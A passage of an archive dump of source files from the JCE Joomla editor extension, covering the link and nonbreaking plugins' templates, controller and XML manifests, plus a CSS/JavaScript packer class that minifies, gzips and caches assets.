    <label class="uk-form-label uk-width-1-1  uk-width-small-3-10" for="style" class="hastip" title="<?php echo Text::_('WF_LABEL_STYLE_DESC'); ?>"><?php echo Text::_('WF_LABEL_STYLE'); ?></label>
    <div class="uk-form-controls uk-width-1-1  uk-width-small-7-10"><input type="text" id="style" value="" /></div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-1  uk-width-small-3-10" for="classes" class="hastip" title="<?php echo Text::_('WF_LABEL_CLASSES_DESC'); ?>"><?php echo Text::_('WF_LABEL_CLASSES'); ?></label>
    <div class="uk-form-controls uk-width-1-1  uk-width-small-7-10">
        <input type="text" id="classes" class="uk-datalist" list="classes_datalist" multiple />
        <datalist id="classes_datalist"></datalist>
    </div>
</div>

<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-1  uk-width-small-3-10" for="dir" class="hastip" title="<?php echo Text::_('WF_LABEL_DIR_DESC'); ?>"><?php echo Text::_('WF_LABEL_DIR'); ?></label>
    <div class="uk-form-controls uk-width-1-1  uk-width-small-7-10">
        <select id="dir">
            <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
            <option value="ltr"><?php echo Text::_('WF_OPTION_LTR'); ?></option>
            <option value="rtl"><?php echo Text::_('WF_OPTION_RTL'); ?></option>
        </select>
    </div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-1  uk-width-small-3-10" for="hreflang" class="hastip" title="<?php echo Text::_('WF_LABEL_HREFLANG_DESC'); ?>"><?php echo Text::_('WF_LABEL_HREFLANG'); ?></label>
    <div class="uk-form-controls uk-width-1-1  uk-width-small-7-10"><input type="text" id="hreflang" value="" /></div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-1  uk-width-small-3-10" for="lang" class="hastip" title="<?php echo Text::_('WF_LABEL_LANG_DESC'); ?>"><?php echo Text::_('WF_LABEL_LANG'); ?></label>
    <div class="uk-form-controls uk-width-1-1  uk-width-small-7-10"><input id="lang" type="text" value="" /></div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-1  uk-width-small-3-10" for="charset" class="hastip" title="<?php echo Text::_('WF_LABEL_CHARSET_DESC'); ?>"><?php echo Text::_('WF_LABEL_CHARSET'); ?></label>
    <div class="uk-form-controls uk-width-1-1  uk-width-small-7-10"><input type="text" id="charset" value="" /></div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-1  uk-width-small-3-10" for="type" class="hastip" title="<?php echo Text::_('WF_LABEL_MIME_TYPE_DESC'); ?>"><?php echo Text::_('WF_LABEL_MIME_TYPE'); ?></label>
    <div class="uk-form-controls uk-width-1-1  uk-width-small-7-10"><input type="text" id="type" value="" /></div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-1  uk-width-small-3-10" for="rel" class="hastip" title="<?php echo Text::_('WF_LABEL_REL_DESC'); ?>"><?php echo Text::_('WF_LABEL_REL'); ?></label>
    <div class="uk-form-controls uk-width-1-1  uk-width-small-7-10">
        <input type="text" id="rel" class="uk-datalist" list="rel_datalist" multiple />
        <datalist id="rel_datalist">
            <option value="nofollow">No Follow</option>
            <option value="alternate">Alternate</option>
            <option value="designates">Designates</option>
            <option value="stylesheet">Stylesheet</option>
            <option value="start">Start</option>
            <option value="next">Next</option>
            <option value="prev">Prev</option>
            <option value="contents">Contents</option>
            <option value="index">Index</option>
            <option value="glossary">Glossary</option>
            <option value="copyright">Copyright</option>
            <option value="chapter">Chapter</option>
            <option value="subsection">Subsection</option>
            <option value="appendix">Appendix</option>
            <option value="help">Help</option>
            <option value="bookmark">Bookmark</option>
            <option value="sponsored">Sponsored</option>
            <option value="ugc">User Generated Content</option>
        </datalist>
    </div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-1  uk-width-small-3-10" for="rev" class="hastip" title="<?php echo Text::_('WF_LABEL_REV_DESC'); ?>"><?php echo Text::_('WF_LABEL_REV'); ?></label>
    <div class="uk-form-controls uk-width-1-1  uk-width-small-7-10">
        <select id="rev">
            <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
            <option value="alternate">Alternate</option>
            <option value="designates">Designates</option>
            <option value="stylesheet">Stylesheet</option>
            <option value="start">Start</option>
            <option value="next">Next</option>
            <option value="prev">Prev</option>
            <option value="contents">Contents</option>
            <option value="index">Index</option>
            <option value="glossary">Glossary</option>
            <option value="copyright">Copyright</option>
            <option value="chapter">Chapter</option>
            <option value="subsection">Subsection</option>
            <option value="appendix">Appendix</option>
            <option value="help">Help</option>
            <option value="bookmark">Bookmark</option>
        </select>
    </div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-1  uk-width-small-3-10" for="tabindex" class="hastip" title="<?php echo Text::_('WF_LABEL_TABINDEX_DESC'); ?>"><?php echo Text::_('WF_LABEL_TABINDEX'); ?></label>
    <div class="uk-form-controls uk-width-1-1  uk-width-small-7-10"><input type="text" id="tabindex" value="" /></div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-1  uk-width-small-3-10" for="accesskey" class="hastip" title="<?php echo Text::_('WF_LABEL_ACCESSKEY_DESC'); ?>"><?php echo Text::_('WF_LABEL_ACCESSKEY'); ?></label>
    <div class="uk-form-controls uk-width-1-1  uk-width-small-7-10"><input type="text" id="accesskey" value="" /></div>
</div>

<div class="uk-form-row uk-grid uk-grid-small">
    <label for="custom_attributes" class="uk-form-label uk-width-1-1 uk-width-small-3-10"><?php echo Text::_('WF_LABEL_ATTRIBUTES'); ?></label>
    
    <div class="uk-form-controls uk-width-1-1 uk-width-small-7-10 uk-flex-wrap" id="custom_attributes">
        <div class="uk-form-row uk-repeatable uk-width-1-1">
            <div class="uk-form-controls uk-grid uk-grid-small uk-width-9-10">
                <label class="uk-form-label uk-width-1-1 uk-width-small-1-10"><?php echo Text::_('WF_LABEL_NAME'); ?></label>
                <div class="uk-form-controls uk-width-1-1 uk-width-small-3-10">
                    <input type="text" name="custom_attributes_name[]" />
                </div>
                <label class="uk-form-label uk-width-1-1 uk-width-small-1-10"><?php echo Text::_('WF_LABEL_VALUE'); ?></label>
                <div class="uk-form-controls uk-width-1-1 uk-width-small-5-10">
                    <input type="text" name="custom_attributes_value[]" />
                </div>
            </div>
            <div class="uk-form-controls uk-width-1-10 uk-margin-small-left">
                <button class="uk-button uk-button-link uk-repeatable-create" aria-label="<?php echo Text::_('WF_LABEL_ADD'); ?>" title="<?php echo Text::_('WF_LABEL_ADD'); ?>"><i class="uk-icon-plus"></i></button>
                <button class="uk-button uk-button-link uk-repeatable-delete" aria-label="<?php echo Text::_('WF_LABEL_REMOVE'); ?>" title="<?php echo Text::_('WF_LABEL_REMOVE'); ?>"><i class="uk-icon-trash"></i></button>
            </div>
        </div>
    </div>
</div>com_jce/editor/plugins/link/tmpl/link.php000060400000006472152453734450014512 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

 \defined('_JEXEC') or die;

 use Joomla\CMS\Factory;
 use Joomla\CMS\Language\Text;
 use Joomla\CMS\Session\Session;

$search = $this->plugin->getSearch('link');
$links = $this->plugin->getLinks();

?>
<div class="uk-form-row uk-grid uk-grid-small">
    <label class="uk-form-label uk-width-1-1  uk-width-small-1-5" for="href" class="hastip" title="<?php echo Text::_('WF_LABEL_URL_DESC'); ?>"><?php echo Text::_('WF_LABEL_URL'); ?></label>
    <div class="uk-form-controls uk-form-icon uk-form-icon-flip uk-width-1-1  uk-width-small-4-5">
        <input id="href" type="text" value="" required class="browser" />
        <button class="email uk-icon uk-icon-email uk-button uk-button-link" aria-haspopup="true" aria-label="<?php echo Text::_('WF_LABEL_EMAIL'); ?>" title="<?php echo Text::_('WF_LABEL_EMAIL'); ?>"></button>
    </div>
</div>
<div class="uk-form-row uk-grid uk-grid-small">
    <label for="text" class="uk-form-label uk-width-1-1  uk-width-small-1-5 hastip" title="<?php echo Text::_('WF_LINK_LINK_TEXT_DESC'); ?>"><?php echo Text::_('WF_LINK_LINK_TEXT'); ?></label>
    <div class="uk-form-controls uk-width-1-1  uk-width-small-4-5">
        <input id="text" type="text" value="" required placeholder="<?php echo Text::_('WF_ELEMENT_SELECTION'); ?>" />
    </div>
</div>
<?php if ($search->isEnabled() || count($links->getLists())) : ?>
    <div id="link-options" class="uk-placeholder">
        <?php echo $search->render(); ?>
        <?php echo $links->render(); ?>
    </div>
<?php endif; ?>
<div class="uk-form-row uk-hidden-mini uk-form-row uk-grid uk-grid-small" id="attributes-anchor">
    <label for="anchor" class="uk-form-label uk-width-1-1  uk-width-small-1-5 hastip" title="<?php echo Text::_('WF_LABEL_ANCHORS_DESC'); ?>"><?php echo Text::_('WF_LABEL_ANCHORS'); ?></label>
    <div class="uk-form-controls uk-width-1-1  uk-width-small-4-5" id="anchor_container"></div>
</div>

<div class="uk-form-row uk-grid uk-grid-small" id="attributes-target">
    <label for="target" class="uk-form-label uk-width-1-1  uk-width-small-1-5 hastip" title="<?php echo Text::_('WF_LABEL_TARGET_DESC'); ?>"><?php echo Text::_('WF_LABEL_TARGET'); ?></label>
    <div class="uk-form-controls uk-width-1-1  uk-width-small-4-5">
        <select id="target">
            <option value=""><?php echo Text::_('WF_OPTION_NOT_SET'); ?></option>
            <option value="_self"><?php echo Text::_('WF_OPTION_TARGET_SELF'); ?></option>
            <option value="_blank"><?php echo Text::_('WF_OPTION_TARGET_BLANK'); ?></option>
            <option value="_parent"><?php echo Text::_('WF_OPTION_TARGET_PARENT'); ?></option>
            <option value="_top"><?php echo Text::_('WF_OPTION_TARGET_TOP'); ?></option>
        </select>
    </div>
</div>

<div class="uk-form-row uk-grid uk-grid-small uk-hidden-mini" id="attributes-title">
    <label class="uk-form-label uk-width-1-1  uk-width-small-1-5" for="title" class="hastip" title="<?php echo Text::_('WF_LABEL_TITLE_DESC'); ?>"><?php echo Text::_('WF_LABEL_TITLE'); ?></label>
    <div class="uk-form-controls uk-width-1-1  uk-width-small-4-5">
        <input id="title" type="text" value="" />
    </div>
</div>
com_jce/editor/plugins/link/index.html000060400000000054152453734450014053 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/plugins/link/link.php000060400000005723152453734450013534 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

// Link Plugin Controller
class WFLinkPlugin extends WFEditorPlugin
{
    protected $name = 'link';

    public $extensions = array();
    public $popups = array();
    public $tabs = array();

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct();

        $this->getLinks();
        $this->getSearch('link');
    }

    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();
        $settings = $this->getSettings();

        $document->addScriptDeclaration('LinkDialog.settings=' . json_encode($settings) . ';');

        $tabs = WFTabs::getInstance(array(
            'base_path' => WF_EDITOR_PLUGIN,
        ));

        // Add tabs
        $tabs->addTab('link', 1, array('plugin' => $this));
        $tabs->addTab('advanced', $this->getParam('tabs_advanced', 1));

        // get and display links
        $links = $this->getLinks();
        $links->display();

        // get and display search
        $search = $this->getSearch('link');
        $search->display();

        // Load Popups instance
        $popups = WFPopupsExtension::getInstance(array(
            'text' => false,
            'default' => $this->getParam('link.popups.default', ''),
        ));

        $popups->display();

        // add link stylesheet
        $document->addStyleSheet(array('link'), 'plugins');
        // add link scripts last
        $document->addScript(array('link'), 'plugins');
    }

    public function showHelp()
    {
        return (bool) $this->getParam('help_button', 1);
    }

    public function getLinks()
    {
        static $links;

        if (!isset($links)) {
            $links = WFLinkExtension::getInstance();
        }

        return $links;
    }

    public function getSearch($type = 'link')
    {
        static $search;

        if (!isset($search)) {
            $search = array();
        }

        if (empty($search[$type])) {
            $search[$type] = WFSearchExtension::getInstance($type);
        }

        return $search[$type];
    }

    public function getSettings($settings = array())
    {
        $profile = $this->getProfile();

        $settings = array(
            'file_browser' => $this->getParam('file_browser', 1) && in_array('browser', explode(',', $profile->plugins)),
            'attributes' => array(
                'target'    => $this->getParam('attributes_target', 1),
                'anchor'    => $this->getParam('attributes_anchor', 1),
                'classes'   => $this->getParam('attributes_classes', 1),
                'title'     => $this->getParam('attributes_title', 1),
            ),
        );

        return parent::getSettings($settings);
    }
}
com_jce/editor/plugins/link/link.xml000060400000022167152453734450013546 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
    <name>WF_LINK_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_LINK_DESC</description>
    <icon>link</icon>
    <layout>link</layout>
    <files></files>
    <fields name="link">
        <fieldset name="config">

            <field name="autolink_email" type="yesno" default="1" label="WF_LINK_AUTOLINK_EMAIL" description="WF_LINK_AUTOLINK_EMAIL_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="autolink_url" type="yesno" default="1" label="WF_LINK_AUTOLINK_URL" description="WF_LINK_AUTOLINK_URL_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="attributes_target" type="yesno" default="1" label="WF_LINK_SHOW_TARGET" description="WF_LINK_SHOW_TARGET_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="attributes_title" type="yesno" default="1" label="WF_LINK_SHOW_TITLE" description="WF_LINK_SHOW_TITLE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="attributes_classes" type="yesno" default="1" label="WF_LINK_SHOW_CLASSES" description="WF_LINK_SHOW_CLASSES_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="help_button" type="yesno" default="1" label="WF_LINK_HELP_BUTTON" description="WF_LINK_HELP_BUTTON_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="custom_classes" type="repeatable" default="" label="WF_LABEL_CUSTOM_CLASSES" description="WF_LABEL_CUSTOM_CLASSES_DESC">
                <field type="text" size="50" hiddenLabel="true" />
            </field>

            <field name="quicklink" type="yesno" default="1" label="WF_LINK_QUICKLINK" description="WF_LINK_QUICKLINK_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            
            <field name="file_browser" type="yesno" default="1" label="WF_URL_FILE_BROWSER" description="WF_URL_FILE_BROWSER_DESC" class="btn-group btn-group-yesno">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field type="container" name="browser" showon="file_browser:1"></field>

            <field name="basic_dialog" type="yesno" default="0" label="WF_PARAM_BASIC_DIALOG" description="WF_PARAM_BASIC_DIALOG_DESC" class="btn-group btn-group-yesno">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field type="container" label="" showon="basic_dialog:0">
                <field name="tabs_advanced" type="yesno" default="1" label="WF_LINK_PARAM_TAB_ADVANCED" description="WF_LINK_PARAM_TAB_ADVANCED_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>

                <field name="attributes_anchor" type="yesno" default="1" label="WF_LINK_SHOW_ANCHOR" description="WF_LINK_SHOW_ANCHOR_DESC">
                    <option value="1">JYES</option>
                    <option value="0">JNO</option>
                </field>
            </field>

            <fieldset name="defaults">
                <field type="heading" label="WF_PROFILES_PLUGINS_DEFAULTS" />
                
                <field name="target" type="list" default="" label="WF_LABEL_TARGET" description="WF_LINK_PARAM_DEFAULT_TARGET_DESC">
                    <option value="">WF_OPTION_NOT_SET</option>
                    <option value="_self">WF_OPTION_TARGET_SELF</option>
                    <option value="_blank">WF_OPTION_TARGET_BLANK</option>
                    <option value="_parent">WF_OPTION_TARGET_PARENT</option>
                    <option value="_top">WF_OPTION_TARGET_TOP</option>
                </field>

                <field type="text" name="id" default="" size="50" label="WF_LABEL_ID" description="WF_LABEL_ID_DESC" />
                <field type="text" name="style" default="" size="50" label="WF_LABEL_STYLE" description="WF_LABEL_STYLE_DESC" />
                <field type="text" name="classes" default="" size="50" label="WF_LABEL_CLASSES" description="WF_LABEL_CLASSES_DESC" />

                <field type="list" name="direction" default="" label="WF_LABEL_DIR" description="WF_LABEL_DIR_DESC">
                    <option value="">WF_OPTION_NOT_SET</option>
                    <option value="ltr">WF_OPTION_LTR</option>
                    <option value="rtl">WF_OPTION_RTL</option>
                </field>

                <field type="text" name="hreflang" default="" size="50" label="WF_LABEL_HREFLANG" description="WF_LABEL_HREFLANG_DESC" />
                <field type="text" name="lang" default="" size="50" label="WF_LABEL_LANG" description="WF_LABEL_LANG_DESC" />
                <field type="text" name="charset" default="" size="50" label="WF_LABEL_CHARSET" description="WF_LABEL_CHARSET_DESC" />
                <field type="text" name="type" default="" size="50" label="WF_LABEL_MIME_TYPE" description="WF_LABEL_MIME_TYPE_DESC" />
                <field type="list" name="rel" default="" class="editable" label="WF_LABEL_REL" description="WF_LABEL_REL_DESC">
                    <option value="">WF_OPTION_NOT_SET</option>
                    <option value="nofollow">No Follow</option>
                    <option value="alternate">Alternate</option>
                    <option value="designates">Designates</option>
                    <option value="stylesheet">Stylesheet</option>
                    <option value="start">Start</option>
                    <option value="next">Next</option>
                    <option value="prev">Prev</option>
                    <option value="contents">Contents</option>
                    <option value="index">Index</option>
                    <option value="glossary">Glossary</option>
                    <option value="copyright">Copyright</option>
                    <option value="chapter">Chapter</option>
                    <option value="subsection">Subsection</option>
                    <option value="appendix">Appendix</option>
                    <option value="help">Help</option>
                    <option value="bookmark">Bookmark</option>
                </field>
                <field type="list" name="rev" default="" label="WF_LABEL_REV" description="WF_LABEL_REV_DESC">
                    <option value="">WF_OPTION_NOT_SET</option>
                    <option value="alternate">Alternate</option>
                    <option value="designates">Designates</option>
                    <option value="stylesheet">Stylesheet</option>
                    <option value="start">Start</option>
                    <option value="next">Next</option>
                    <option value="prev">Prev</option>
                    <option value="contents">Contents</option>
                    <option value="index">Index</option>
                    <option value="glossary">Glossary</option>
                    <option value="copyright">Copyright</option>
                    <option value="chapter">Chapter</option>
                    <option value="subsection">Subsection</option>
                    <option value="appendix">Appendix</option>
                    <option value="help">Help</option>
                    <option value="bookmark">Bookmark</option>
                </field>
                <field type="text" name="tabindex" default="" size="50" label="WF_LABEL_TABINDEX" description="WF_LABEL_TABINDEX_DESC" />
                <field type="text" name="accesskey" default="" size="50" label="WF_LABEL_ACCESSKEY" description="WF_LABEL_ACCESSKEY_DESC" />

                <field name="attributes" type="keyvalue" default="" label="WF_PARAM_CUSTOM_ATTRIBUTES" description="WF_PARAM_CUSTOM_ATTRIBUTES_DESC" boolean="true" />

            </fieldset>
        </fieldset>

        <fieldset name="plugin.links" />
        <fieldset name="plugin.search" />
        <fieldset name="plugin.popups" />

    </fields>
    <extensions>links,search,popups</extensions>
    <languages></languages>
    <help>
        <topic key="link.about" title="WF_LINK_HELP_ABOUT" />
        <topic key="link.interface" title="WF_LINK_HELP_INTERFACE" />
        <!--topic key="link.content" title="WF_LINK_HELP_LINKS" /-->
        <topic key="link.advanced" title="WF_LINK_HELP_ADVANCED" />
        <topic key="link.insert" title="WF_LINK_HELP_INSERT" />
        <topic key="link.email" title="WF_LINK_HELP_EMAIL" />
    </help>
</extension>com_jce/editor/plugins/nonbreaking/nonbreaking.xml000060400000001235152453734450016437 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_NONBREAKING_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_NONBREAKING_DESC</description>
	<icon>nonbreaking</icon>
	<help>
		<topic key="nonbreaking.about" title="WF_NONBREAKING_HELP_ABOUT" />
	</help>
	<languages></languages>
</extension>com_jce/editor/plugins/nonbreaking/index.html000060400000000054152453734450015413 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/classes/manager.php000060400000000575152453734450015204 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFMediaManager extends WFMediaManagerBase
{
}com_jce/editor/libraries/classes/packer.php000060400000026536152453734450015044 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Uri\Uri;

class WFPacker extends CMSObject
{
    const IMPORT_RX = '#@import.*?(?:\(([^\)]+)\);|(?:[\'"]([^\'"]+)[\'"]);)#i'; // match @import url('...'); or @import '...'; or @import "...";

    protected $files = array();
    protected $type = 'javascript';
    protected $text = '';
    protected $start = '';
    protected $end = '';
    protected static $imports = array();

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct($config = array())
    {
        $this->setProperties($config);
    }

    public function setFiles($files = array())
    {
        $this->files = $files;
    }

    public function getFiles()
    {
        return $this->files;
    }

    public function setText($text = '')
    {
        $this->text = $text;
    }

    public function setContentStart($start = '')
    {
        $this->start = $start;
    }

    public function getContentStart()
    {
        return $this->start;
    }

    public function setContentEnd($end = '')
    {
        $this->end = $end;
    }

    public function getContentEnd()
    {
        return $this->end;
    }

    public function setType($type)
    {
        $this->type = $type;
    }

    public function getType()
    {
        return $this->type;
    }

    /**
     * Get encoding.
     *
     * @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved
     */
    private static function getEncoding()
    {
        if (!isset($_SERVER['HTTP_ACCEPT_ENCODING'])) {
            return false;
        }

        $encoding = false;

        if (false !== strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')) {
            $encoding = 'gzip';
        }

        if (false !== strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'x-gzip')) {
            $encoding = 'x-gzip';
        }

        return $encoding;
    }

    private function getEtag($hash)
    {
        if (strpos($hash, '"') !== 0) {
            $hash = '"' . $hash . '"';
        }

        return $hash;
    }

    /**
     * Pack and output content based on type.
     *
     * @param bool|true  $minify
     * @param bool|true $cache
     * @param bool|false $gzip
     * Contains some code from libraries/joomla/cache/controller/page.php - Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved
     */
    public function pack($minify = true, $cache_validation = true, $gzip = false)
    {
        $type = $this->getType();

        ob_start();

        // Headers
        if ($type == 'javascript') {
            header('Content-type: application/javascript; charset: UTF-8');
        }

        if ($type == 'css') {
            header('Content-type: text/css; charset: UTF-8');
        }

        // encoding
        header('Vary: Accept-Encoding');

        // cache control
        header('Cache-Control: max-age=0,no-cache');

        $files = $this->getFiles();

        $content = $this->getContentStart();

        if (empty($files)) {
            $content .= $this->getText();
        } else {
            foreach ($files as $file) {
                $content .= $this->getText($file, $minify);
            }
        }

        if ($this->getType() == 'css') {
            // move external import rules to top
            foreach (array_unique(self::$imports) as $import) {
                if (strpos($import, '//') !== false) {
                    $content = '@import url("' . $import . '");' . $content;
                }
            }
        }

        $content .= $this->getContentEnd();

        // trim content
        $content = trim($content);

        // force browser caching using an E-tag
        if ($cache_validation) {
            // get content hash
            $hash = md5(implode(' ', array_map('basename', $files)) . $content);
            // create E-tag
            $etag = $this->getEtag($hash);
            // set etag header
            header('ETag: ' . $etag);

            // check for sent etag against hash
            if (!headers_sent() && isset($_SERVER['HTTP_IF_NONE_MATCH'])) {
                $_etag = stripslashes($_SERVER['HTTP_IF_NONE_MATCH']);

                if ($_etag && $_etag === $etag) {
                    header('HTTP/1.x 304 Not Modified', true);
                    exit(ob_get_clean());
                }
            }
        }

        // Generate GZIP'd content
        if ($gzip) {
            $encoding = self::getEncoding();

            $zlib = function_exists('ini_get') && extension_loaded('zlib') && ini_get('zlib.output_compression');

            if (!empty($encoding) && !$zlib && function_exists('gzencode')) {
                header('Content-Encoding: ' . $encoding);
                $content = gzencode($content, 4, FORCE_GZIP);
            }
        }

        // stream to client
        echo $content;

        exit(ob_get_clean());
    }

    protected function jsmin($data)
    {
        // remove header comments
        return preg_replace('#^\/\*[\s\S]+?\*\/#', '', $data);
    }

    /**
     * Simple CSS Minifier
     * https://github.com/GaryJones/Simple-PHP-CSS-Minification.
     *
     * @param $data Data string to minify
     */
    protected function cssmin($css)
    {
        // Normalize whitespace
        //$css = preg_replace('/\s+/', ' ', $css);
        // Remove comment blocks, everything between /* and */, unless
        // preserved with /*! ... */
        //$css = preg_replace('/\/\*[^\!](.*?)\*\//', '', $css);
        // Remove space after , : ; { }
        //$css = preg_replace('/(,|:|;|\{|}) /', '$1', $css);
        // Remove space before , ; { }
        //$css = preg_replace('/ (,|;|\{|})/', '$1', $css);
        // Strips leading 0 on decimal values (converts 0.5px into .5px)
        //$css = preg_replace('/(:| )0\.([0-9]+)(%|em|ex|px|in|cm|mm|pt|pc)/i', '${1}.${2}${3}', $css);
        // Strips units if value is 0 (converts 0px to 0)
        //$css = preg_replace('/(:| )(\.?)0(%|em|ex|px|in|cm|mm|pt|pc)/i', '${1}0', $css);
        // Converts all zeros value into short-hand
        //$css = preg_replace('/0 0 0 0/', '0', $css);
        // Shortern 6-character hex color codes to 3-character where possible
        //$css = preg_replace('/#([a-f0-9])\\1([a-f0-9])\\2([a-f0-9])\\3/i', '#\1\2\3', $css);

        require_once __DIR__ . '/vendor/cssmin/cssmin.php';

        try {
            $css = CssMin::minify($css);
        } catch (Exception $e) {
        }

        return trim($css);
    }

    /**
     * Import CSS from a file.
     *
     * @param file File path where data comes from
     * @param $data Data from file
     */
    protected function importCss($data, $file)
    {
        if (preg_match_all(self::IMPORT_RX, $data, $matches)) {
            $data = '';

            foreach ($matches[1] as $match) {
                // clean up url
                $match = str_replace(array('url', '"', "'", '(', ')'), '', $match);
                // trim
                $match = trim($match);

                if ($match) {
                    // external url, skip it
                    if (strpos($match, '//') !== false) {
                        // add to imports list
                        self::$imports[] = $match;
                        continue;
                    }

                    // url has a query, remove
                    if (strpos($match, '?') !== false) {
                        $match = substr($match, 0, strpos($match, '?'));
                    }

                    if (strpos($match, '&') !== false) {
                        $match = substr($match, 0, strpos($match, '&'));
                    }

                    // get full path
                    $path = realpath($this->get('_cssbase') . '/' . $match);

                    // already import, don't repeat!
                    if (in_array($path, self::$imports)) {
                        continue;
                    }

                    // get data
                    $data .= $this->getText($path);
                }
            }

            return $data;
        }

        return '';
    }

    protected function compileLess($string, $path)
    {
        $less = new lessc();
        // add file directory
        $less->addImportDir($path);
        // add joomla media folder
        $less->addImportDir(JPATH_SITE . '/media');

        try {
            return $less->compile($string);
        } catch (Exception $e) {
            return '/* LESS file could not be compiled due to error - ' . $e->getMessage() . ' */';
        }
    }

    protected function getText($file = null, $minify = true)
    {
        if ($file && is_file($file)) {
            $text = file_get_contents($file);

            if ($text) {
                // process css files
                if ($this->getType() == 'css') {
                    // compile less files
                    if (preg_match('#\.less$#', $file)) {
                        $text = $this->compileLess($text, dirname($file));
                    }

                    if ($minify) {
                        // minify
                        $text = $this->cssmin($text, $file);
                    }

                    // add to imports list
                    self::$imports[] = $file;

                    if (strpos($text, '@import') !== false) {
                        // store the base path of the current file
                        $this->set('_cssbase', dirname($file));

                        // process import rules
                        $text = $this->importCss($text, $file) . preg_replace(self::IMPORT_RX, '', $text);
                    }

                    // store the base path of the current file
                    $this->set('_imgbase', dirname($file));

                    // process urls
                    $text = preg_replace_callback('#url\s?\([\'"]?([^\'"\))]+)[\'"]?\)#', array('WFPacker', 'processPaths'), $text);
                }
                // make sure text ends in a semi-colon;
                if ($this->getType() == 'javascript') {
                    $text = rtrim(trim($text), ';') . ';';

                    if ($minify) {
                        $text = $this->jsmin($text);
                    }
                }

                return $text;
            }
        }

        return $this->text;
    }

    protected function processPaths($data)
    {
        if (isset($data[1])) {
            if (strpos($data[1], '//') === false) {
                $path = parse_url($data[1], PHP_URL_PATH);

                if (empty($path)) {
                    $path = $data[1];
                }

                // get query, if any, eg: ?v=273
                $query = parse_url($data[1], PHP_URL_QUERY);

                if (empty($query)) {
                    $query = "";
                } else {
                    $query = "?" . $query;
                }

                $path = str_replace(JPATH_SITE, '', realpath($this->get('_imgbase') . '/' . $path));

                if ($path) {
                    return "url('" . Uri::root(true) . str_replace('\\', '/', $path) . $query . "')";
                }

                return "url('" . $data[1] . "')";
            }

            return $data[1];
        }

        return '';
    }
}
com_jce/editor/libraries/classes/languageparser.php000060400000032060152453734450016564 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
